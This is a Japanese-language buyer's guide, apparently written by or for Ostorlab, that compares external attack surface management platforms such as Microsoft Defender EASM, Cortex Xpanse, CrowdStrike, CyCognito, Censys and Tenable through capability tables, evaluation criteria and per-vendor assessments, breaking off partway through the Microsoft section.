&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;プラットフォーム&lt;/th&gt;
&lt;th style="text-align: left;"&gt;文書化されている重点領域&lt;/th&gt;
&lt;th style="text-align: left;"&gt;購入者が確認すべき点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;複数のアセットタイプにわたるエージェント型の検出、アセットの帰属判定、継続的な監視、能動的なセキュリティスキャン、脅威に基づく優先順位付け、修復。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;検出のスコープ、スキャンプロファイル、自動化の上限、アセットの許容数、能動的なテストを管理する制御。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Microsoft Defender EASM&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;インターネットに公開されたインフラの外部視点での検出とマッピング、アセットの分類、アタックサーフェスに関するインサイト、Microsoftのセキュリティ製品との連携。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ライセンス、Azureの運用要件、Microsoft Security Exposure Managementとの連携、能動的な検証の深さ。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Cortex Xpanse&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;インターネット規模の検出、アセットの帰属判定、エクスポージャーの特定、リスクの優先順位付け、自動化された対応プレイブック。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;どの対応機能にActive Responseや別のモジュールが必要か、帰属判定をめぐる異議や所有者のワークフローがどう扱われるか。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CrowdStrike Falcon Exposure Management&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部アセットの検出と、攻撃者に関するインテリジェンス、AI支援型の優先順位付け、脆弱性管理、Falconプラットフォームのコンテキストの組み合わせ。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;提案されたFalconパッケージにどのEASM機能とドメイン横断のエクスポージャー機能が含まれるか、隣接する機能にエンドポイントへの導入が必要かどうか。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CyCognito&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部アセットの検出、ビジネスコンテキストのマッピング、継続的なセキュリティテスト、悪用可能性の検証、修復の優先順位付け。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;能動的な検証に用いる手法と安全制御、認証が必要なアプリケーションに対するテストのカバレッジ、連携の要件。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Censys Attack Surface Management&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;インターネット全体のマッピング、全ポートにわたるサービス検出、アセットの帰属判定、過去のエクスポージャーデータ、セキュリティ運用との連携。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エクスポージャーのインテリジェンスと能動的な脆弱性テストの区別、提案されたパッケージにおけるワークフローと修復の機能。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Tenable One Attack Surface Management&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部アセットの検出とコンテキスト付与を、Tenable One内の脆弱性とエクスポージャーのデータと統合。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;どの機能に別のTenable製品が必要か、未評価のアセットがどのようにスキャンへ回されるか、ライセンスモデル全体。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;購入時の核心的な問いは、どのプラットフォームが最も多くのアセット数を出すかではありません。プラットフォームがアセットを正しく帰属判定し、各アセットがなぜその組織に属するのかを説明し、重大なエクスポージャーを特定し、担当チームがリスクの解消を検証できるよう支援できるかどうかです。&lt;/p&gt;
&lt;h2 id="外部アタックサーフェス管理とは"&gt;外部アタックサーフェス管理とは&lt;/h2&gt;
&lt;p&gt;外部アタックサーフェス管理（EASM）とは、組織のインターネットからアクセス可能なアセットを、外部からの視点で継続的に検出、帰属判定、評価、監視することです。&lt;/p&gt;
&lt;p&gt;外部アタックサーフェスには、次のようなものが含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ドメインとサブドメイン&lt;/li&gt;
&lt;li&gt;パブリックIPアドレス、ネットワーク範囲、ASN&lt;/li&gt;
&lt;li&gt;Webアプリケーションとポータル&lt;/li&gt;
&lt;li&gt;APIとAPIゲートウェイ&lt;/li&gt;
&lt;li&gt;モバイルアプリケーションのインベントリ&lt;/li&gt;
&lt;li&gt;クラウドでホストされるサービス&lt;/li&gt;
&lt;li&gt;インターネットに公開されたサーバーとネットワーク機器&lt;/li&gt;
&lt;li&gt;TLS証明書とDNSインフラ&lt;/li&gt;
&lt;li&gt;ストレージサービス&lt;/li&gt;
&lt;li&gt;SaaSインスタンス&lt;/li&gt;
&lt;li&gt;開発環境とステージング環境のシステム&lt;/li&gt;
&lt;li&gt;子会社や買収した企業が運用するアセット&lt;/li&gt;
&lt;li&gt;放置されたインフラとシャドーIT&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;効果的なEASMシステムは、組織を識別する少数の既知の情報から出発し、ドメイン登録、証明書、DNSレコード、ホスティングインフラ、ブランディング、関連するアプリケーション、その他の帰属判定のエビデンスといった関係性を分析しながら、対象を外側へ広げていきます。&lt;/p&gt;
&lt;p&gt;検出だけでは不十分です。有用なプラットフォームは、組織に属するアセットを無関係なインフラと区別し、意味のあるエクスポージャーを特定し、結論の根拠となるエビデンスを保持し、修復を支援する必要があります。&lt;/p&gt;
&lt;h2 id="easmと隣接するセキュリティカテゴリとの違い"&gt;EASMと隣接するセキュリティカテゴリとの違い&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;カテゴリ&lt;/th&gt;
&lt;th style="text-align: left;"&gt;主な視点&lt;/th&gt;
&lt;th style="text-align: left;"&gt;主な目的&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;EASM&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部から内部へ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;攻撃者が到達し得る、インターネットに公開されたアセットを検出し監視する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CAASM&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;内部から外部へ、連携主導&lt;/td&gt;
&lt;td style="text-align: left;"&gt;社内のセキュリティシステムやITシステムからアセットの記録を集約し正規化する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;脆弱性管理&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;既知のアセット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;管理対象のインベントリにすでに含まれているシステム上の脆弱性を特定し、優先順位付けする。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CSPMとCNAPP&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドアカウントのコンテキスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドプロバイダーへのアクセスを用いて、クラウドの構成、アイデンティティ、ワークロード、デプロイのリスクを特定する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;BASと自動化されたセキュリティ検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;制御の検証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;攻撃手法をシミュレートまたは実行し、セキュリティ制御が機能しているかを判定する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;デジタルリスク保護&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ブランドと脅威インテリジェンス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なりすまし、漏えいした認証情報、不正なドメイン、ソーシャルチャネル、ダークウェブ上の活動を監視する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ペネトレーションテスト（ペンテスト）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;許可されたスコープ内での調査&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アナリスト主導またはエージェント型のテストによって、脆弱性と攻撃経路を調査する。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらのカテゴリは重なり合う部分が増えています。エクスポージャー管理プラットフォームは、EASMを社内の脆弱性データ、クラウドの態勢、エンドポイントのテレメトリ、脅威インテリジェンス、攻撃経路の分析と組み合わせることがあります。&lt;/p&gt;
&lt;p&gt;したがって購入者は、製品カテゴリだけに頼るのではなく、実際の運用モデルを評価する必要があります。&lt;/p&gt;
&lt;h2 id="企業がeasmプラットフォームで評価すべき点(とよくある落とし穴)"&gt;企業がEASMプラットフォームで評価すべき点（とよくある落とし穴）&lt;/h2&gt;
&lt;h3 id="1. シードへの依存度と帰属判定の質"&gt;1. シードへの依存度と帰属判定の質&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;評価すべき点&lt;/strong&gt;：プラットフォームは、最小限のシードデータ（たとえば組織名やメインドメインだけ）から出発して、CMDB、クラウドアカウント、エンドポイントシステムに存在しないアセットを特定できる必要があります。セキュリティチームには、アセットが&lt;em&gt;なぜ&lt;/em&gt;結び付けられたのかを説明する明確な帰属判定の経路が必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;よくある落とし穴&lt;/strong&gt;：&lt;em&gt;帰属判定の精度ではなく、アセットの総数を測ってしまうこと&lt;/em&gt;。膨れ上がったアセット数には、無関係な共有ホスト、期限切れのドメイン、パーキングされたIPが含まれていることが多く、対応につながる可視性ではなくアラート疲れを生みます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2. 継続的な変化の監視とアラート疲れ"&gt;2. 継続的な変化の監視とアラート疲れ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;評価すべき点&lt;/strong&gt;：外部のインフラは急速に変化します。一時的な環境が立ち上がり、DNSレコードがダングリング状態になり、証明書が期限切れになります。EASMは過去の経緯を時系列で保持し、意味のある変化についてアラートを出す必要があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;よくある落とし穴&lt;/strong&gt;：&lt;em&gt;日常的な技術的変更を優先度の高いインシデントとして扱うこと&lt;/em&gt;。アラートのしきい値は、無害なDNSレコードの更新のたびに発報するのではなく、リスクのコンテキストに合わせて調整する必要があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3. 能動的な検証と推測によるフィンガープリント"&gt;3. 能動的な検証と推測によるフィンガープリント&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;評価すべき点&lt;/strong&gt;：受動的な観測（バナーの照合）と能動的な検証を区別します。能動的なテストを提供するプラットフォームは、明確な安全策、レート制限、透明性のあるテストパラメーター、再現可能な悪用可能性の実証を提供する必要があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;よくある落とし穴&lt;/strong&gt;：&lt;em&gt;ソフトウェアのフィンガープリントを確定した脆弱性として扱うこと&lt;/em&gt;。古いパッケージを示すバナーがあっても、到達可能な悪用可能性が実証されたわけではありません。逆に、バナーがないからといって安全が保証されるわけでもありません。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4. 所有者の特定と修復の検証"&gt;4. 所有者の特定と修復の検証&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;評価すべき点&lt;/strong&gt;：責任を持つ所有者がいなければ、エクスポージャーは解消できません。効果的なプラットフォームは、コンテキストを伴うエビデンスとともに検出結果をチケット管理システム（Jira、ServiceNow）へ直接送り、修復後に自動で再スキャンして解消を確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;よくある落とし穴&lt;/strong&gt;：&lt;em&gt;検出と修復を切り離すこと&lt;/em&gt;。検証されていない何千件もの検出結果をそのまま修復キューに取り込むと、EASMはエクスポージャーを着実に減らすクローズドループではなく、管理されないバックログになってしまいます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5. エコシステムとの相互運用性"&gt;5. エコシステムとの相互運用性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;評価すべき点&lt;/strong&gt;：SIEM、SOAR、CMDB、エクスポージャー管理プラットフォームとの連携がネイティブで双方向か、そしてプラットフォームへの完全なロックインを必要とせずにアセットのコンテキストを示すメタデータを保持できるかを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;よくある落とし穴&lt;/strong&gt;：&lt;em&gt;一つのプラットフォームが隣接するすべての制御を置き換えると想定すること&lt;/em&gt;。EASMは外部からの視点での検出を提供するものであり、社内の脆弱性管理、CSPM、詳細なペンテストを置き換えるのではなく補完するものです。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="外部アタックサーフェス管理の機能マトリクス"&gt;外部アタックサーフェス管理の機能マトリクス&lt;/h2&gt;
&lt;p&gt;以下の用語は控えめな基準で用いています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対応&lt;/strong&gt;：その機能が、現在のベンダー自身の公開資料に記載されている。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;統合&lt;/strong&gt;：その機能が、ベンダーのより広いプラットフォームまたは隣接する製品を通じて提供される。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限定的&lt;/strong&gt;：公開文書に記載されたサポートに、意味のある制約があるか、範囲が狭い。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;公開文書なし&lt;/strong&gt;：その機能を確認できるだけの現在のベンダー自身の情報が見つからなかった。これは、その機能が存在しないことを証明するものではない。&lt;/li&gt;
&lt;/ul&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;機能&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ostorlab（プラットフォーム連携）&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Microsoft Defender EASM&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Cortex Xpanse&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CrowdStrike Falcon&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CyCognito（ベンダー文書に基づく）&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Censys&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Tenable One&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;インターネットに公開されたアセットの継続的な検出&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ドメイン、ホスト、IP、サービス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;アセットの関係性と帰属判定のエビデンス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;変化の監視と過去の経緯&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エージェント型の組織単位の検出&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;限定的&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;検出したアセットに対する能動的なセキュリティスキャン&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;連携プラットフォームでのスキャン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;限定的&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応（ベンダー表明）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;限定的&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（Tenable WAS/VM）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;悪用可能性またはエクスポージャーの検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;連携プラットフォームでのスキャン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;限定的&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応（ベンダー表明）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;限定的&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（Tenable One）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;脅威インテリジェンスに基づく優先順位付け&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（Exposure）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応（ExPRT.AI）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（ExposureIQ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;チケット管理と修復ワークフロー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（Azure）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（Active Responseアドオン）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（Falcon Platform）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（Tenable One）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;専用のDAST / MASTアプリケーションテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;連携プラットフォームでのスキャン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（別モジュール）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;限定的&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合（別モジュール）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;APIアクセスまたはデータのエクスポート&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;em&gt;表の分類に関する注記：&lt;/em&gt;&lt;em&gt;対応&lt;/em&gt;&lt;em&gt;は、中核となるEASM製品内のネイティブな機能を示します。&lt;/em&gt;&lt;em&gt;連携プラットフォームでのスキャン&lt;/em&gt;&lt;em&gt;は、検出そのものの自律的な機能ではなく、ベンダーのより広いプラットフォームを通じて実行される統合されたテストを示します。&lt;/em&gt;&lt;em&gt;対応（ベンダー表明）&lt;/em&gt;&lt;em&gt;は、PoVの期間中に顧客による確認が必要な、ベンダーが文書化している機能（CyCognitoの自律テストに関する主張など）を反映しています。&lt;/em&gt;&lt;em&gt;統合（モジュール）&lt;/em&gt;&lt;em&gt;は、隣接するプラットフォーム製品、アドオンライセンス、または別のエージェントやスキャナーを必要とする機能を示します。&lt;/em&gt;&lt;em&gt;限定的&lt;/em&gt;&lt;em&gt;は、範囲が制約されているか、推測のみによる検出であることを示します。&lt;/em&gt;&lt;em&gt;公開文書なし&lt;/em&gt;&lt;em&gt;は、その機能が現在のベンダー自身の製品ドキュメントで確認されていないことを示します（これは、その機能が存在しないことを証明するものではありません）。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;公開ドキュメントや商用パッケージの内容は変わります。購入者は各ベンダーに対し、同じ検出シード、組織のスコープ、帰属判定の決定、エクスポージャーのケース、修復ワークフローで実演するよう求めるべきです。&lt;/p&gt;
&lt;h2 id="この比較で何が分かったか"&gt;この比較で何が分かったか&lt;/h2&gt;
&lt;p&gt;2026年にEASM製品を比較する際に最も重要なのは、次の4つの違いです。&lt;/p&gt;
&lt;h3 id="検出モデルは同等ではない"&gt;検出モデルは同等ではない&lt;/h3&gt;
&lt;p&gt;一部のプラットフォームは、インターネット全体の継続的な観測からインベントリを構築します。別のプラットフォームは、顧客が提供したシードから出発し、関係性のグラフをたどって範囲を広げます。両方のアプローチを組み合わせるものもいくつかあります。&lt;/p&gt;
&lt;p&gt;有用な指標は、返されたアセットの総数ではありません。正しく帰属判定され、セキュリティ上の意味を持ち、顧客がまだ管理していなかったアセットの数です。&lt;/p&gt;
&lt;h3 id="easmはエクスポージャー管理と融合しつつある"&gt;EASMはエクスポージャー管理と融合しつつある&lt;/h3&gt;
&lt;p&gt;Microsoft、CrowdStrike、Palo Alto Networks、Tenableは、EASMをより広いセキュリティ製品群と結び付けています。これにより社内の貴重なコンテキストが得られる可能性がありますが、購入者は、どの機能がEASM製品に属し、どの機能に追加のライセンスや導入済みのコンポーネントが必要なのかを見極める必要があります。&lt;/p&gt;
&lt;h3 id="検証の深さは大きく異なる"&gt;検証の深さは大きく異なる&lt;/h3&gt;
&lt;p&gt;一部の製品は、検出と外部のエクスポージャーに関するインテリジェンスに重点を置いています。別の製品は、検出したアセットを能動的にテストするか、脆弱性、アプリケーションセキュリティ、検証の各製品へ回します。&lt;/p&gt;
&lt;p&gt;この違いは、プラットフォームが疑わしい弱点を報告するにとどまるのか、それともセキュリティチームが再現できるエビデンスを生み出すのかに直接影響します。&lt;/p&gt;
&lt;h3 id="修復は運用モデルの問題である"&gt;修復は運用モデルの問題である&lt;/h3&gt;
&lt;p&gt;露出したシステムを見つけることは始まりにすぎません。成果を上げているEASMプログラムは、所有者を明確にし、エビデンスを担当チームへ送り、修復が完了するまでエクスポージャーを追跡し、それがもう存在しないことを検証します。&lt;/p&gt;
&lt;p&gt;正確な検出結果を出せても、このワークフローを支えられないプラットフォームは、管理されないキューをまた一つ増やすだけになりかねません。&lt;/p&gt;
&lt;h2 id="easmプラットフォームの詳細評価"&gt;EASMプラットフォームの詳細評価&lt;/h2&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点領域&lt;/strong&gt;：Web、モバイル、API、ネットワークのアセットにわたって、エージェント型の組織単位の検出を、能動的なセキュリティスキャンと修復ワークフローと組み合わせる。&lt;/p&gt;
&lt;p&gt;Ostorlabは、外部アタックサーフェスの検出を、複数のアプリケーションおよびインフラのアセットタイプにわたる能動的なセキュリティテストと修復ワークフローと組み合わせています。&lt;/p&gt;
&lt;p&gt;文書化されている&lt;a href="https://docs.ostorlab.co/attacksurface/automated_discovery.html" rel="noopener noreferrer" target="_blank"&gt;AIエージェントによるアタックサーフェス検出&lt;/a&gt;のワークフローでは、ユーザーが自然言語のプロンプトで組織を説明できます。システムは候補となるドメイン、サブドメイン、クラウドリソース、モバイルアプリケーション、SaaSの公開面、関連する組織を生成し、それらの候補を確認または除外のために提示します。&lt;/p&gt;
&lt;p&gt;この人間による確認のステップが重要なのは、組織上の関係が必ずしも技術的な所有を証明するわけではないからです。買収、地域ブランド、提供を終了した製品、共有インフラ、サービスプロバイダーは、正当な曖昧さを生む可能性があります。&lt;/p&gt;
&lt;p&gt;確認されたアセットは、所有者の管理、フィルタリング、グラフ上の関係性、監視、セキュリティスキャンに対応したインベントリに登録されます。Ostorlabのドキュメントには、インベントリから直接アセットをスキャンする方法も記載されており、Webアプリケーション、ネットワーク範囲、API、モバイルアプリケーション、ソースコードリポジトリ、複数アセットの評価に対応しています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/ostorlab-2025-year-in-review.html" rel="noopener noreferrer" target="_blank"&gt;Ostorlab 2025 Year in Review&lt;/a&gt;では、エージェント型のアタックサーフェス検出とThreat Centerの連携が説明されています。新たに悪用された脆弱性や更新されたフィンガープリントを顧客の環境に照らし合わせることで、チームは現在進行中の悪用活動の影響を受けるアセットを特定できます。&lt;/p&gt;
&lt;p&gt;Ostorlabはまた、検出結果をチケット管理との連携、自動化ルール、所有者の管理、修復の追跡、再スキャンと結び付けています。これにより、別個の外部インベントリを維持するのではなく、検出から調査、検証までの継続的なワークフローを実現します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：購入者は、子会社、買収した企業、共有インフラ、提供を終了したドメインを含む複雑な組織構造に対して検出をテストする必要があります。また、どのスキャンプロファイルが含まれるか、能動的なテストがどのように許可されるか、アセット、スキャン、AIの利用量が価格にどう影響するかも確認する必要があります。&lt;/p&gt;
&lt;h3 id="microsoft defender external attack surface management"&gt;Microsoft Defender External Attack Surface Management&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点領域&lt;/strong&gt;：Microsoft Security Exposure ManagementおよびAzureエコシステムとのネイティブな連携による、インターネットに公開されたインフラの継続的なマッピング。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://learn.microsoft.com/en-us/azure/external-attack-surface-management/" rel="noopener noreferrer" target="_blank"&gt;Microsoft Defender External Attack Surface Management&lt;/a&gt;は、組織のインターネットに公開されたインフラを外部の視点から継続的に検出し、マッピングします。&lt;/p&gt;
&lt;p&gt;インベントリには、ドメイン、ホスト、ページ、IPアドレス、IPブロック、自律システム番号、連絡先、SSL証明書が含まれます。Microsoftは各アセットについてコンテキストを示すメタデータを記録し、アセットがなぜその組織に関連付けられたのかをアナリストが理解するのに役立つ検出時の関係性を提示します。&lt;/p&gt;
